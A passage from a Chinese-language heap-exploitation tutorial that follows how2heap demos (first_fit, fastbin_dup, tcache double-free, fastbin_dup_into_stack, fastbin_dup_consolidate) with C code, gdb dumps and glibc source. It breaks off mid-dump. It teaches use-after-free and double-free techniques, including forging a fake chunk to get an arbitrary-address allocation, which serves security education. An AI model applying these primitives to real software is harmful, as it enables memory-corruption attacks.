堆是程序虚拟地址空间中的一块连续的区域,由低地址向高地址增长。当前 Linux 使用的堆分配器被称为 ptmalloc2,在 glibc 中实现。

+

更详细的我们已经在章节 1.5.8 中介绍了,章节 1.5.7 中也有相关内容,请回顾一下。

+

对堆利用来说,不用于栈上的溢出能够直接覆盖函数的返回地址从而控制 EIP,只能通过间接手段来劫持程序控制流。

+

how2heap

+

how2heap 是由 shellphish 团队制作的堆利用教程,介绍了多种堆利用技术,这篇文章我们就通过这个教程来学习。推荐使用 Ubuntu 16.04 64位系统环境,glibc 版本如下:

+
$ file /lib/x86_64-linux-gnu/libc-2.23.so
+/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped
+$ git clone https://github.com/shellphish/how2heap.git
+$ cd how2heap
+$ make
+
+

请注意,下文中贴出的代码是我简化过的,剔除和修改了一些不必要的注释和代码,以方便学习。另外,正如章节 4.3 中所讲的,添加编译参数 CFLAGS += -fsanitize=address 可以检测内存错误。下载文件

+

first_fit

+
#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main() {
+    char* a = malloc(512);
+    char* b = malloc(256);
+    char* c;
+
+    fprintf(stderr, "1st malloc(512): %p\n", a);
+    fprintf(stderr, "2nd malloc(256): %p\n", b);
+    strcpy(a, "AAAAAAAA");
+    strcpy(b, "BBBBBBBB");
+    fprintf(stderr, "first allocation %p points to %s\n", a, a);
+
+    fprintf(stderr, "Freeing the first one...\n");
+    free(a);
+
+    c = malloc(500);
+    fprintf(stderr, "3rd malloc(500): %p\n", c);
+    strcpy(c, "CCCCCCCC");
+    fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
+    fprintf(stderr, "first allocation %p points to %s\n", a, a);
+}
+$ gcc -g first_fit.c
+$ ./a.out
+1st malloc(512): 0x1380010
+2nd malloc(256): 0x1380220
+first allocation 0x1380010 points to AAAAAAAA
+Freeing the first one...
+3rd malloc(500): 0x1380010
+3rd allocation 0x1380010 points to CCCCCCCC
+first allocation 0x1380010 points to CCCCCCCC
+
+

这第一个程序展示了 glibc 堆分配的策略,即 first-fit。在分配内存时,malloc 会先到 unsorted bin(或者fastbins) 中查找适合的被 free 的 chunk,如果没有,就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中,然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的 chunk,并把它重新分配。

+

在 gdb 中调试,两个 malloc 之后(chunk 位于 malloc 返回地址减去 0x10 的位置):

+
gef➤  x/5gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000211 <-- chunk a
+0x602010:   0x4141414141414141  0x0000000000000000
+0x602020:   0x0000000000000000
+gef➤  x/5gx 0x602220-0x10
+0x602210:   0x0000000000000000  0x0000000000000111 <-- chunk b
+0x602220:   0x4242424242424242  0x0000000000000000
+0x602230:   0x0000000000000000
+
+

第一个 free 之后,将其加入到 unsorted bin 中:

+
gef➤  x/5gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000211 <-- chunk a [be freed]
+0x602010:   0x00007ffff7dd1b78  0x00007ffff7dd1b78      <-- fd pointer, bk pointer
+0x602020:   0x0000000000000000
+gef➤  x/5gx 0x602220-0x10
+0x602210:   0x0000000000000210  0x0000000000000110 <-- chunk b
+0x602220:   0x4242424242424242  0x0000000000000000
+0x602230:   0x0000000000000000
+gef➤  heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
+ →   Chunk(addr=0x602010, size=0x210, flags=PREV_INUSE)
+[+] Found 1 chunks in unsorted bin.
+
+

第三个 malloc 之后:

+
gef➤  x/5gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000211 <-- chunk c
+0x602010:   0x4343434343434343  0x00007ffff7dd1d00
+0x602020:   0x0000000000000000
+gef➤  x/5gx 0x602220-0x10
+0x602210:   0x0000000000000210  0x0000000000000111 <-- chunk b
+0x602220:   0x4242424242424242  0x0000000000000000
+0x602230:   0x0000000000000000
+
+

所以当释放一块内存后再申请一块大小略小于的空间,那么 glibc 倾向于将先前被释放的空间重新分配。

+

好了,现在我们加上内存检测参数重新编译:

+
$ gcc -fsanitize=address -g first_fit.c
+$ ./a.out
+1st malloc(512): 0x61500000fd00
+2nd malloc(256): 0x611000009f00
+first allocation 0x61500000fd00 points to AAAAAAAA
+Freeing the first one...
+3rd malloc(500): 0x61500000fa80
+3rd allocation 0x61500000fa80 points to CCCCCCCC
+=================================================================
+==4525==ERROR: AddressSanitizer: heap-use-after-free on address 0x61500000fd00 at pc 0x7f49d14a61e9 bp 0x7ffe40b526e0 sp 0x7ffe40b51e58
+READ of size 2 at 0x61500000fd00 thread T0
+    #0 0x7f49d14a61e8  (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x601e8)
+    #1 0x7f49d14a6bcc in vfprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60bcc)
+    #2 0x7f49d14a6cf9 in fprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60cf9)
+    #3 0x400b8b in main /home/firmy/how2heap/first_fit.c:23
+    #4 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+    #5 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)
+
+0x61500000fd00 is located 0 bytes inside of 512-byte region [0x61500000fd00,0x61500000ff00)
+freed by thread T0 here:
+    #0 0x7f49d14de2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
+    #1 0x400aa2 in main /home/firmy/how2heap/first_fit.c:17
+    #2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+
+previously allocated by thread T0 here:
+    #0 0x7f49d14de602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
+    #1 0x400957 in main /home/firmy/how2heap/first_fit.c:6
+    #2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+
+

一个很明显的 use-after-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。

+

fastbin_dup

+
#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main() {
+    fprintf(stderr, "Allocating 3 buffers.\n");
+    char *a = malloc(9);
+    char *b = malloc(9);
+    char *c = malloc(9);
+    strcpy(a, "AAAAAAAA");
+    strcpy(b, "BBBBBBBB");
+    strcpy(c, "CCCCCCCC");
+    fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
+    fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
+    fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
+
+    fprintf(stderr, "Freeing the first one %p.\n", a);
+    free(a);
+    fprintf(stderr, "Then freeing another one %p.\n", b);
+    free(b);
+    fprintf(stderr, "Freeing the first one %p again.\n", a);
+    free(a);
+
+    fprintf(stderr, "Allocating 3 buffers.\n");
+    char *d = malloc(9);
+    char *e = malloc(9);
+    char *f = malloc(9);
+    strcpy(d, "DDDDDDDD");
+    fprintf(stderr, "4st malloc(9) %p points to %s the first time\n", d, d);
+    strcpy(e, "EEEEEEEE");
+    fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
+    strcpy(f, "FFFFFFFF");
+    fprintf(stderr, "6rd malloc(9) %p points to %s the second time\n", f, f);
+}
+$ gcc -g fastbin_dup.c
+$ ./a.out
+Allocating 3 buffers.
+1st malloc(9) 0x1c07010 points to AAAAAAAA
+2nd malloc(9) 0x1c07030 points to BBBBBBBB
+3rd malloc(9) 0x1c07050 points to CCCCCCCC
+Freeing the first one 0x1c07010.
+Then freeing another one 0x1c07030.
+Freeing the first one 0x1c07010 again.
+Allocating 3 buffers.
+4st malloc(9) 0x1c07010 points to DDDDDDDD the first time
+5nd malloc(9) 0x1c07030 points to EEEEEEEE
+6rd malloc(9) 0x1c07010 points to FFFFFFFF the second time
+
+

这个程序展示了利用 fastbins 的 double-free 攻击,可以泄漏出一块已经被分配的内存指针。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk,所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。

+

libc-2.23 中对 double-free 的检查过程如下:

+
    /* Check that the top of the bin is not the record we are going to add
+       (i.e., double free).  */
+    if (__builtin_expect (old == p, 0))
+      {
+        errstr = "double free or corruption (fasttop)";
+        goto errout;
+      }
+
+

它在检查 fast bin 的 double-free 时只是检查了第一个块。所以其实是存在缺陷的。

+

三个 malloc 之后:

+
gef➤  x/15gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000021 <-- chunk a
+0x602010:   0x4141414141414141  0x0000000000000000
+0x602020:   0x0000000000000000  0x0000000000000021 <-- chunk b
+0x602030:   0x4242424242424242  0x0000000000000000
+0x602040:   0x0000000000000000  0x0000000000000021 <-- chunk c
+0x602050:   0x4343434343434343  0x0000000000000000
+0x602060:   0x0000000000000000  0x0000000000020fa1 <-- top chunk
+0x602070:   0x0000000000000000
+
+

第一个 free 之后,chunk a 被添加到 fastbins 中:

+
gef➤  x/15gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000021 <-- chunk a [be freed]
+0x602010:   0x0000000000000000  0x0000000000000000      <-- fd pointer
+0x602020:   0x0000000000000000  0x0000000000000021 <-- chunk b
+0x602030:   0x4242424242424242  0x0000000000000000
+0x602040:   0x0000000000000000  0x0000000000000021 <-- chunk c
+0x602050:   0x4343434343434343  0x0000000000000000
+0x602060:   0x0000000000000000  0x0000000000020fa1
+0x602070:   0x0000000000000000
+gef➤  heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
+
+

第二个 free 之后,chunk b 被添加到 fastbins 中:

+
gef➤  x/15gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000021 <-- chunk a [be freed]
+0x602010:   0x0000000000000000  0x0000000000000000      <-- fd pointer
+0x602020:   0x0000000000000000  0x0000000000000021 <-- chunk b [be freed]
+0x602030:   0x0000000000602000  0x0000000000000000      <-- fd pointer
+0x602040:   0x0000000000000000  0x0000000000000021 <-- chunk c
+0x602050:   0x4343434343434343  0x0000000000000000
+0x602060:   0x0000000000000000  0x0000000000020fa1
+0x602070:   0x0000000000000000
+gef➤  heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
+
+

此时由于 chunk a 处于 bin 中第 2 块的位置,不会被 double-free 的检查机制检查出来。所以第三个 free 之后,chunk a 再次被添加到 fastbins 中:

+
gef➤  x/15gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000021 <-- chunk a [be freed again]
+0x602010:   0x0000000000602020  0x0000000000000000      <-- fd pointer
+0x602020:   0x0000000000000000  0x0000000000000021 <-- chunk b [be freed]
+0x602030:   0x0000000000602000  0x0000000000000000      <-- fd pointer
+0x602040:   0x0000000000000000  0x0000000000000021 <-- chunk c
+0x602050:   0x4343434343434343  0x0000000000000000
+0x602060:   0x0000000000000000  0x0000000000020fa1
+0x602070:   0x0000000000000000
+gef➤  heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  →  [loop detected]
+
+

此时 chunk a 和 chunk b 似乎形成了一个环。

+

再三个 malloc 之后:

+
gef➤  x/15gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000021 <-- chunk d, chunk f
+0x602010:   0x4646464646464646  0x0000000000000000
+0x602020:   0x0000000000000000  0x0000000000000021 <-- chunk e
+0x602030:   0x4545454545454545  0x0000000000000000
+0x602040:   0x0000000000000000  0x0000000000000021 <-- chunk c
+0x602050:   0x4343434343434343  0x0000000000000000
+0x602060:   0x0000000000000000  0x0000000000020fa1
+0x602070:   0x0000000000000000
+
+

所以对于 fastbins,可以通过 double-free 泄漏出一个堆块的指针。

+

加上内存检测参数重新编译:

+
$ gcc -fsanitize=address -g fastbin_dup.c
+$ ./a.out
+Allocating 3 buffers.
+1st malloc(9) 0x60200000eff0 points to AAAAAAAA
+2nd malloc(9) 0x60200000efd0 points to BBBBBBBB
+3rd malloc(9) 0x60200000efb0 points to CCCCCCCC
+Freeing the first one 0x60200000eff0.
+Then freeing another one 0x60200000efd0.
+Freeing the first one 0x60200000eff0 again.
+=================================================================
+==5650==ERROR: AddressSanitizer: attempting double-free on 0x60200000eff0 in thread T0:
+    #0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
+    #1 0x400ba3 in main /home/firmy/how2heap/fastbin_dup.c:22
+    #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+    #3 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)
+
+0x60200000eff0 is located 0 bytes inside of 9-byte region [0x60200000eff0,0x60200000eff9)
+freed by thread T0 here:
+    #0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
+    #1 0x400b0d in main /home/firmy/how2heap/fastbin_dup.c:18
+    #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+
+previously allocated by thread T0 here:
+    #0 0x7fdc18ebf602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
+    #1 0x400997 in main /home/firmy/how2heap/fastbin_dup.c:7
+    #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+
+

一个很明显的 double-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。

+

看一点新鲜的,在 libc-2.26 中,即使两次 free,也并没有触发 double-free 的异常检测,这与 tcache 机制有关,以后会详细讲述。这里先看个能够在该版本下触发 double-free 的例子:

+
#include <stdio.h>
+#include <stdlib.h>
+
+int main() {
+    int i;
+
+    void *p = malloc(0x40);
+    fprintf(stderr, "First allocate a fastbin: p=%p\n", p);
+
+    fprintf(stderr, "Then free(p) 7 times\n");
+    for (i = 0; i < 7; i++) {
+        fprintf(stderr, "free %d: %p => %p\n", i+1, &p, p);
+        free(p);
+    }
+
+    fprintf(stderr, "Then malloc 8 times at the same address\n");
+    int *a[10];
+    for (i = 0; i < 8; i++) {
+        a[i] = malloc(0x40);
+        fprintf(stderr, "malloc %d: %p => %p\n", i+1, &a[i], a[i]);
+    }
+
+    fprintf(stderr, "Finally trigger double-free\n");
+    for (i = 0; i < 2; i++) {
+        fprintf(stderr, "free %d: %p => %p\n", i+1, &a[i], a[i]);
+        free(a[i]);
+    }
+}
+$ gcc -g tcache_double-free.c
+$ ./a.out
+First allocate a fastbin: p=0x559e30950260
+Then free(p) 7 times
+free 1: 0x7ffc498b2958 => 0x559e30950260
+free 2: 0x7ffc498b2958 => 0x559e30950260
+free 3: 0x7ffc498b2958 => 0x559e30950260
+free 4: 0x7ffc498b2958 => 0x559e30950260
+free 5: 0x7ffc498b2958 => 0x559e30950260
+free 6: 0x7ffc498b2958 => 0x559e30950260
+free 7: 0x7ffc498b2958 => 0x559e30950260
+Then malloc 8 times at the same address
+malloc 1: 0x7ffc498b2960 => 0x559e30950260
+malloc 2: 0x7ffc498b2968 => 0x559e30950260
+malloc 3: 0x7ffc498b2970 => 0x559e30950260
+malloc 4: 0x7ffc498b2978 => 0x559e30950260
+malloc 5: 0x7ffc498b2980 => 0x559e30950260
+malloc 6: 0x7ffc498b2988 => 0x559e30950260
+malloc 7: 0x7ffc498b2990 => 0x559e30950260
+malloc 8: 0x7ffc498b2998 => 0x559e30950260
+Finally trigger double-free
+free 1: 0x7ffc498b2960 => 0x559e30950260
+free 2: 0x7ffc498b2968 => 0x559e30950260
+double free or corruption (fasttop)
+[2]    1244 abort (core dumped)  ./a.out
+
+

fastbin_dup_into_stack

+
#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main() {
+    unsigned long long stack_var = 0x21;
+    fprintf(stderr, "Allocating 3 buffers.\n");
+    char *a = malloc(9);
+    char *b = malloc(9);
+    char *c = malloc(9);
+    strcpy(a, "AAAAAAAA");
+    strcpy(b, "BBBBBBBB");
+    strcpy(c, "CCCCCCCC");
+    fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
+    fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
+    fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
+
+    fprintf(stderr, "Freeing the first one %p.\n", a);
+    free(a);
+    fprintf(stderr, "Then freeing another one %p.\n", b);
+    free(b);
+    fprintf(stderr, "Freeing the first one %p again.\n", a);
+    free(a);
+
+    fprintf(stderr, "Allocating 4 buffers.\n");
+    unsigned long long *d = malloc(9);
+    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
+    fprintf(stderr, "4nd malloc(9) %p points to %p\n", d, &d);
+    char *e = malloc(9);
+    strcpy(e, "EEEEEEEE");
+    fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
+    char *f = malloc(9);
+    strcpy(f, "FFFFFFFF");
+    fprintf(stderr, "6rd malloc(9) %p points to %s\n", f, f);
+    char *g = malloc(9);
+    strcpy(g, "GGGGGGGG");
+    fprintf(stderr, "7th malloc(9) %p points to %s\n", g, g);
+}
+$ gcc -g fastbin_dup_into_stack.c
+$ ./a.out
+Allocating 3 buffers.
+1st malloc(9) 0xcf2010 points to AAAAAAAA
+2nd malloc(9) 0xcf2030 points to BBBBBBBB
+3rd malloc(9) 0xcf2050 points to CCCCCCCC
+Freeing the first one 0xcf2010.
+Then freeing another one 0xcf2030.
+Freeing the first one 0xcf2010 again.
+Allocating 4 buffers.
+4nd malloc(9) 0xcf2010 points to 0x7ffd1e0d48b0
+5nd malloc(9) 0xcf2030 points to EEEEEEEE
+6rd malloc(9) 0xcf2010 points to FFFFFFFF
+7th malloc(9) 0x7ffd1e0d48b0 points to GGGGGGGG
+
+

这个程序展示了怎样通过修改 fd 指针,将其指向一个伪造的 free chunk,在伪造的地址处 malloc 出一个 chunk。该程序大部分内容都和上一个程序一样,漏洞也同样是 double-free,只有给 fd 填充的内容不一样。

+

三个 malloc 之后:

+
gef➤  x/15gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000021 <-- chunk a
+0x602010:   0x4141414141414141  0x0000000000000000
+0x602020:   0x0000000000000000  0x0000000000000021 <-- chunk b
+0x602030:   0x4242424242424242  0x0000000000000000
+0x602040:   0x0000000000000000  0x0000000000000021 <-- chunk c
+0x602050:   0x4343434343434343  0x0000000000000000
+0x602060:   0x0000000000000000  0x0000000000020fa1 <-- top chunk
+0x602070:   0x0000000000000000
+
+

三个 free 之后:

+
gef➤  x/15gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000021 <-- chunk a [be freed twice]
+0x602010:   0x0000000000602020  0x0000000000000000      <-- fd pointer
+0x602020:   0x0000000000000000  0x0000000000000021 <-- chunk b [be freed]
+0x602030:   0x0000000000602000  0x0000000000000000      <-- fd pointer
+0x602040:   0x0000000000000000  0x0000000000000021 <-- chunk c
+0x602050:   0x4343434343434343  0x0000000000000000
+0x602060:   0x0000000000000000  0x0000000000020fa1
+0x602070:   0x0000000000000000
+gef➤  heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  →  [loop detected]
+
+

这一次 malloc 之后,我们不再填充无意义的 "DDDDDDDD",而是填充一个地址,即栈地址减去 0x8,从而在栈上伪造出一个 free 的 chunk(当然也可以是其他的地址)。这也是为什么 stack_var 被我们设置为 0x21(或0x20都可以),其实是为了在栈地址减去 0x8 的时候作为 fake chunk 的 size 字段。

+

glibc 在执行分配操作时,若块的大小符合 fast bin,则会在对应的 bin 中寻找合适的块,此时 glibc 将根据候选块的 size 字段计算出 fastbin 索引,然后与对应 bin 在 fastbin 中的索引进行比较,如果二者不匹配,则说明块的 size 字段遭到破坏。所以需要 fake chunk 的 size 字段被设置为正确的值。

+
/* offset 2 to use otherwise unindexable first 2 bins */
+#define fastbin_index(sz) \
+  ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
+
+  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
+    {
+      idx = fastbin_index (nb);
+      [...]
+
+      if (victim != 0)
+        {
+          if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
+            {
+              errstr = "malloc(): memory corruption (fast)";
+              [...]
+            }
+            [...]
+        }
+    }
+
+

简单地说就是 fake chunk 的 size 与 double-free 的 chunk 的 size 相同即可。

+
gef➤  x/15gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000021 <-- chunk d
+0x602010:   0x00007fffffffdc30  0x0000000000000000      <-- fd pointer
+0x602020:   0x0000000000000000  0x0000000000000021 <-- chunk b [be freed]
+0x602030:   0x0000000000602000  0x0000000000000000      <-- fd pointer
+0x602040:   0x0000000000000000  0x0000000000000021 <-- chunk c
+0x602050:   0x4343434343434343  0x0000000000000000
+0x602060:   0x0000000000000000  0x0000000000020fa1
+0x602070:   0x0000000000000000
+gef➤  p &stack_var
+$4 = (unsigned long long *) 0x7fffffffdc38
+gef➤  x/5gx 0x7fffffffdc38-0x8
+0x7fffffffdc30: 0x0000000000000000  0x0000000000000021 <-- fake chunk [seems to be freed]
+0x7fffffffdc40: 0x0000000000602010  0x0000000000602010      <-- fd pointer
+0x7fffffffdc50: 0x0000000000602030
+gef➤  heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index]
+
+

可以看到,伪造的 chunk 已经由指针链接到 fastbins 上了。之后 malloc 两次,即可将伪造的 chunk 移动到链表头部:

+
gef➤  x/15gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000021
+0x602010:   0x4646464646464646  0x0000000000000000
+0x602020:   0x0000000000000000  0x0000000000000021
+0x602030:   0x4545454545454545  0x0000000000000000
+0x602040:   0x0000000000000000  0x0000000000000021
+0x602050:   0x4343434343434343  0x0000000000000000
+0x602060:   0x0000000000000000  0x0000000000020fa1
+0x602070:   0x0000000000000000
+gef➤  heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index]
+
+

再次 malloc,即可在 fake chunk 处分配内存:

+
gef➤  x/5gx 0x7fffffffdc38-0x8
+0x7fffffffdc30: 0x0000000000000000  0x0000000000000021 <-- fake chunk
+0x7fffffffdc40: 0x4747474747474747  0x0000000000602000
+0x7fffffffdc50: 0x0000000000602030
+
+

所以对于 fastbins,可以通过 double-free 覆盖 fastbins 的结构,来获得一个指向任意地址的指针。

+

fastbin_dup_consolidate

+
#include <stdio.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main() {
+    void *p1 = malloc(0x10);
+    void *p2 = malloc(0x10);
+    strcpy(p1, "AAAAAAAA");
+    strcpy(p2, "BBBBBBBB");
+    fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
+
+    fprintf(stderr, "Now free p1!\n");
+    free(p1);
+
+    void *p3 = malloc(0x400);
+    fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
+    fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
+
+    free(p1);
+    fprintf(stderr, "Trigger the double free vulnerability!\n");
+    fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
+
+    void *p4 = malloc(0x10);
+    strcpy(p4, "CCCCCCC");
+    void *p5 = malloc(0x10);
+    strcpy(p5, "DDDDDDDD");
+    fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", p4, p5);
+}
+$ gcc -g fastbin_dup_consolidate.c
+$ ./a.out
+Allocated two fastbins: p1=0x17c4010 p2=0x17c4030
+Now free p1!
+Allocated large bin to trigger malloc_consolidate(): p3=0x17c4050
+In malloc_consolidate(), p1 is moved to the unsorted bin.
+Trigger the double free vulnerability!
+We can pass the check in malloc() since p1 is not fast top.
+Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x17c4010 0x17c4010
+
+

这个程序展示了利用在 large bin 的分配中 malloc_consolidate 机制绕过 fastbin 对 double free 的检查,这个检查在 fastbin_dup 中已经展示过了,只不过它利用的是在两次 free 中间插入一次对其它 chunk 的 free。

+

首先分配两个 fast chunk:

+
gef➤  x/15gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000021  <-- chunk p1
+0x602010:   0x4141414141414141  0x0000000000000000
+0x602020:   0x0000000000000000  0x0000000000000021  <-- chunk p2
+0x602030:   0x4242424242424242  0x0000000000000000
+0x602040:   0x0000000000000000  0x0000000000020fc1  <-- top chunk
+0x602050:   0x0000000000000000  0x0000000000000000
+0x602060:   0x0000000000000000  0x0000000000000000
+0x602070:   0x0000000000000000
+
+

释放掉 p1,则空闲 chunk 加入到 fastbins 中:

+
gef➤  x/15gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000021  <-- chunk p1 [be freed]
+0x602010:   0x0000000000000000  0x0000000000000000
+0x602020:   0x0000000000000000  0x0000000000000021  <-- chunk p2
+0x602030:   0x4242424242424242  0x0000000000000000
+0x602040:   0x0000000000000000  0x0000000000020fc1  <-- top chunk
+0x602050:   0x0000000000000000  0x0000000000000000
+0x602060:   0x0000000000000000  0x0000000000000000
+0x602070:   0x0000000000000000
+gef➤  heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
+
+

此时如果我们再次释放 p1,必然触发 double free 异常,然而,如果此时分配一个 large chunk,效果如下:

+
gef➤  x/15gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000021  <-- chunk p1 [be freed]
+0x602010:   0x00007ffff7dd1b88  0x00007ffff7dd1b88      <-- fd, bk pointer
+0x602020:   0x0000000000000020  0x0000000000000020  <-- chunk p2
+0x602030:   0x4242424242424242  0x0000000000000000
+0x602040:   0x0000000000000000  0x0000000000000411  <-- chunk p3
+0x602050:   0x0000000000000000  0x0000000000000000
+0x602060:   0x0000000000000000  0x0000000000000000
+0x602070:   0x0000000000000000
+gef➤  heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10] 0x00
+gef➤  heap bins small
+[ Small Bins for arena 'main_arena' ]
+[+] small_bins[1]: fw=0x602000, bk=0x602000
+ →   Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
+[+] Found 1 chunks in 1 small non-empty bins.
+
+

可以看到 fastbins 中的 chunk 已经不见了,反而出现在了 small bins 中,并且 chunk p2 的 prev_size 和 size 字段都被修改。

+

看一下 large chunk 的分配过程:

+
  /*
+     If this is a large request, consolidate fastbins before continuing.
+     While it might look excessive to kill all fastbins before
+     even seeing if there is space available, this avoids
+     fragmentation problems normally associated with fastbins.
+     Also, in practice, programs tend to have runs of either small or
+     large requests, but less often mixtures, so consolidation is not
+     invoked all that often in most programs. And the programs that
+     it is called frequently in otherwise tend to fragment.
+   */
+
+  else
+    {
+      idx = largebin_index (nb);
+      if (have_fastchunks (av))
+        malloc_consolidate (av);
+    }
+
+

当分配 large chunk 时,首先根据 chunk 的大小获得对应的 large bin 的 index,接着判断当前分配区的 fast bins 中是否包含 chunk,如果有,调用 malloc_consolidate() 函数合并 fast bins 中的 chunk,并将这些空闲 chunk 加入 unsorted bin 中。因为这里分配的是一个 large chunk,所以 unsorted bin 中的 chunk 按照大小被放回 small bins 或 large bins 中。

+

由于此时 p1 已经不在 fastbins 的顶部,可以再次释放 p1:

+
gef➤  x/15gx 0x602010-0x10
+0x602000:   0x0000000000000000  0x0000000000000021  <-- chunk p1 [double freed]
+0x602010:   0x0000000000000000  0x00007ffff7dd1b88
+0x602020:   0x0000000000000020  0x0000000000000020  <-- chunk p2
+0x602030:   0x4242424242424242  0x0000000000000000
+0x602040:   0x0000000000000000  0x0000000000000411  <-- chunk p3
+0x602050:   0x0000000000000000  0x0000000000000000
+0x602060:   0x0000000000000000  0x0000000000000000
+0x602070:   0x0000000000000000
+gef➤  heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
